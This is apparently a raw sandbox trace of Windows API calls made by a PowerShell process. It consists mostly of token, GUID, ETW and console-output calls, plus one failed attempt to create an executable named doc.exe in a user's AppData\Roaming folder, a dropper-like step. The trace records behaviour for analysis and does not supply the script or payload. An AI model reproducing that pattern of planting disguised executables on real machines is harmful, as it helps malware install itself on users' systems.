"c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5a8e904 | out: lpFileInformation=0x5a8e904*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0190.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0190.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5a8e90c | out: lpFileInformation=0x5a8e90c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.787] CloseHandle (hObject=0x428) returned 1 [0190.787] GetCurrentProcess () returned 0xffffffff [0190.787] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8ea58 | out: TokenHandle=0x5a8ea58*=0x428) returned 1 [0190.884] CloseHandle (hObject=0x428) returned 1 [0190.887] GetCurrentProcess () returned 0xffffffff [0190.888] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8ea58 | out: TokenHandle=0x5a8ea58*=0x428) returned 1 [0190.889] CloseHandle (hObject=0x428) returned 1 [0190.972] GetCurrentProcess () returned 0xffffffff [0190.972] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8e870 | out: TokenHandle=0x5a8e870*=0x428) returned 1 [0191.063] CloseHandle (hObject=0x428) returned 1 [0191.063] GetCurrentProcess () returned 0xffffffff [0191.064] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5a8e888 | out: TokenHandle=0x5a8e888*=0x428) returned 1 [0191.067] CloseHandle (hObject=0x428) returned 1 [0191.175] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0191.175] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x2b, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0191.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ebd8) returned 1 [0191.175] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0191.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d9f8) returned 1 [0192.799] EtwEventActivityIdControl () returned 0x0 [0192.799] EtwEventActivityIdControl () returned 0x0 [0192.799] EtwEventActivityIdControl () returned 0x0 [0192.811] EtwEventActivityIdControl () returned 0x0 [0192.811] EtwEventActivityIdControl () returned 0x0 [0192.811] EtwEventActivityIdControl () returned 0x0 [0192.848] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x5282f0 [0192.850] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x528378 [0192.883] CoCreateGuid (in: pguid=0x5a8e7a4 | out: pguid=0x5a8e7a4*(Data1=0xfe90fda9, Data2=0x81eb, Data3=0x4394, Data4=([0]=0x84, [1]=0xe2, [2]=0x9e, [3]=0xed, [4]=0xd9, [5]=0x42, [6]=0x2e, [7]=0x84))) returned 0x0 [0192.887] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e4f0 | out: lpPerformanceCount=0x5a8e4f0*=1262391046270) returned 1 [0195.512] CoCreateGuid (in: pguid=0x5a8e7a4 | out: pguid=0x5a8e7a4*(Data1=0xc75d7f99, Data2=0x6ffb, Data3=0x4faa, Data4=([0]=0x87, [1]=0x5c, [2]=0x91, [3]=0xc6, [4]=0x3c, [5]=0x4f, [6]=0xf0, [7]=0xcc))) returned 0x0 [0195.514] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e4f0 | out: lpPerformanceCount=0x5a8e4f0*=1262653739582) returned 1 [0198.930] CoCreateGuid (in: pguid=0x5a8e348 | out: pguid=0x5a8e348*(Data1=0x459505b8, Data2=0xe8d6, Data3=0x4de9, Data4=([0]=0xb4, [1]=0x2a, [2]=0x7e, [3]=0x21, [4]=0x8b, [5]=0x29, [6]=0xca, [7]=0x63))) returned 0x0 [0198.931] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e184 | out: lpPerformanceCount=0x5a8e184*=1262995404508) returned 1 [0198.941] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e14c | out: lpPerformanceCount=0x5a8e14c*=1262996371438) returned 1 [0198.941] EtwEventActivityIdControl () returned 0x0 [0198.941] EtwEventActivityIdControl () returned 0x0 [0198.941] EtwEventActivityIdControl () returned 0x0 [0198.941] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8db74, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0199.026] EtwEventActivityIdControl () returned 0x0 [0199.026] EtwEventActivityIdControl () returned 0x0 [0199.026] EtwEventActivityIdControl () returned 0x0 [0199.027] EtwEventActivityIdControl () returned 0x0 [0199.736] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8dd08 | out: lpPerformanceCount=0x5a8dd08*=1263075868606) returned 1 [0199.738] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x3a4 [0199.738] CoCreateGuid (in: pguid=0x5a8dc10 | out: pguid=0x5a8dc10*(Data1=0xc289a17f, Data2=0x3b12, Data3=0x4370, Data4=([0]=0xbf, [1]=0x1d, [2]=0xa5, [3]=0xe6, [4]=0x31, [5]=0x72, [6]=0xa, [7]=0xb4))) returned 0x0 [0199.739] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8da4c | out: lpPerformanceCount=0x5a8da4c*=1263076163176) returned 1 [0199.749] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8da14 | out: lpPerformanceCount=0x5a8da14*=1263077202019) returned 1 [0199.749] EtwEventActivityIdControl () returned 0x0 [0199.749] EtwEventActivityIdControl () returned 0x0 [0199.749] EtwEventActivityIdControl () returned 0x0 [0199.750] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8d43c, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0199.751] EtwEventActivityIdControl () returned 0x0 [0199.751] EtwEventActivityIdControl () returned 0x0 [0199.751] EtwEventActivityIdControl () returned 0x0 [0199.752] EtwEventActivityIdControl () returned 0x0 [0201.332] EtwEventActivityIdControl () returned 0x0 [0201.332] EtwEventActivityIdControl () returned 0x0 [0201.332] EtwEventActivityIdControl () returned 0x0 [0201.332] EtwEventActivityIdControl () returned 0x0 [0202.033] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e324 | out: lpConsoleScreenBufferInfo=0x5a8e324) returned 1 [0202.888] CoCreateGuid (in: pguid=0x5a8e348 | out: pguid=0x5a8e348*(Data1=0x6c004746, Data2=0xfe1f, Data3=0x476f, Data4=([0]=0xad, [1]=0xd, [2]=0x52, [3]=0x97, [4]=0xfc, [5]=0xad, [6]=0xa7, [7]=0xec))) returned 0x0 [0202.889] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e184 | out: lpPerformanceCount=0x5a8e184*=1263392353402) returned 1 [0202.958] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e14c | out: lpPerformanceCount=0x5a8e14c*=1263398143999) returned 1 [0202.959] EtwEventActivityIdControl () returned 0x0 [0202.959] EtwEventActivityIdControl () returned 0x0 [0202.959] EtwEventActivityIdControl () returned 0x0 [0202.960] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8db74, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0202.962] EtwEventActivityIdControl () returned 0x0 [0202.962] EtwEventActivityIdControl () returned 0x0 [0202.962] EtwEventActivityIdControl () returned 0x0 [0202.962] EtwEventActivityIdControl () returned 0x0 [0203.122] EtwEventActivityIdControl () returned 0x0 [0203.122] EtwEventActivityIdControl () returned 0x0 [0203.881] CoCreateGuid (in: pguid=0x5a8e348 | out: pguid=0x5a8e348*(Data1=0x3d608410, Data2=0x85fe, Data3=0x48d7, Data4=([0]=0xa3, [1]=0x3c, [2]=0x53, [3]=0x44, [4]=0x44, [5]=0xa3, [6]=0xf2, [7]=0x28))) returned 0x0 [0203.882] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e184 | out: lpPerformanceCount=0x5a8e184*=1263490508296) returned 1 [0203.886] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e14c | out: lpPerformanceCount=0x5a8e14c*=1263490870721) returned 1 [0203.886] EtwEventActivityIdControl () returned 0x0 [0203.886] EtwEventActivityIdControl () returned 0x0 [0203.886] EtwEventActivityIdControl () returned 0x0 [0203.887] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a8db74, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0203.887] EtwEventActivityIdControl () returned 0x0 [0203.887] EtwEventActivityIdControl () returned 0x0 [0203.887] EtwEventActivityIdControl () returned 0x0 [0203.888] EtwEventActivityIdControl () returned 0x0 [0203.978] EtwEventActivityIdControl () returned 0x0 [0203.978] EtwEventActivityIdControl () returned 0x0 [0204.257] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e974 | out: lpConsoleScreenBufferInfo=0x5a8e974) returned 1 [0204.261] GetConsoleOutputCP () returned 0x1b5 [0204.262] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.263] GetConsoleOutputCP () returned 0x1b5 [0204.263] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.263] GetConsoleOutputCP () returned 0x1b5 [0204.263] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.263] GetConsoleOutputCP () returned 0x1b5 [0204.263] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.263] GetConsoleOutputCP () returned 0x1b5 [0204.264] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.264] GetConsoleOutputCP () returned 0x1b5 [0204.264] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.264] GetConsoleOutputCP () returned 0x1b5 [0204.264] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.264] GetConsoleOutputCP () returned 0x1b5 [0204.264] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.264] GetConsoleOutputCP () returned 0x1b5 [0204.264] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.264] GetConsoleOutputCP () returned 0x1b5 [0204.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.265] GetConsoleOutputCP () returned 0x1b5 [0204.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.265] GetConsoleOutputCP () returned 0x1b5 [0204.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.265] GetConsoleOutputCP () returned 0x1b5 [0204.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.265] GetConsoleOutputCP () returned 0x1b5 [0204.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.266] GetConsoleOutputCP () returned 0x1b5 [0204.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.266] GetConsoleOutputCP () returned 0x1b5 [0204.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.266] GetConsoleOutputCP () returned 0x1b5 [0204.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.266] GetConsoleOutputCP () returned 0x1b5 [0204.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.266] GetConsoleOutputCP () returned 0x1b5 [0204.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.267] GetConsoleOutputCP () returned 0x1b5 [0204.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a8e7ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a8e7ec) returned 0 [0204.267] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.268] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.269] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.269] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.270] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.270] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.271] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.272] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a8de94, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0204.273] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.273] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a6434*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a6434*, lpNumberOfCharsWritten=0x5a8e87c*=0x4e) returned 1 [0204.276] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.276] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.276] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.277] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.277] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.277] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.278] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.278] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.278] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.279] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.279] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.279] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.279] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.280] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.280] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a66e0*, nNumberOfCharsToWrite=0x1c, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a66e0*, lpNumberOfCharsWritten=0x5a8e87c*=0x1c) returned 1 [0204.281] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.281] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.281] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.282] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.282] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.282] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.283] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.283] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.283] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.284] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.284] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.284] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.284] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.285] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.285] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a5bec*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a5bec*, lpNumberOfCharsWritten=0x5a8e87c*=0x10) returned 1 [0204.285] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.285] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.286] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.286] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.286] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.287] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.287] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.287] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.287] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.288] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.288] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.288] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.288] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.288] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.289] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a5c1c*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a5c1c*, lpNumberOfCharsWritten=0x5a8e87c*=0x4b) returned 1 [0204.289] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.289] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.290] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.290] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.290] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.290] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.291] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.292] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.292] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.292] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.293] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e888 | out: lpMode=0x5a8e888) returned 1 [0204.293] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x27a5cc0*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x5a8e87c, lpReserved=0x0 | out: lpBuffer=0x27a5cc0*, lpNumberOfCharsWritten=0x5a8e87c*=0x47) returned 1 [0204.293] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.293] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.294] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e868 | out: lpConsoleScreenBufferInfo=0x5a8e868) returned 1 [0204.294] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.294] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a8e8c8 | out: lpMode=0x5a8e8c8) returned 1 [0204.294] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dc9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a8e8bc, lpReserved=0x0 | out: lpBuffer=0x23dc9f0*, lpNumberOfCharsWritten=0x5a8e8bc*=0x1) returned 1 [0204.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e8cc | out: lpConsoleScreenBufferInfo=0x5a8e8cc) returned 1 [0204.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e864 | out: lpConsoleScreenBufferInfo=0x5a8e864) returned 1 [0204.295] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.296] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.296] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a8e86c | out: lpConsoleScreenBufferInfo=0x5a8e86c) returned 1 [0204.296] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 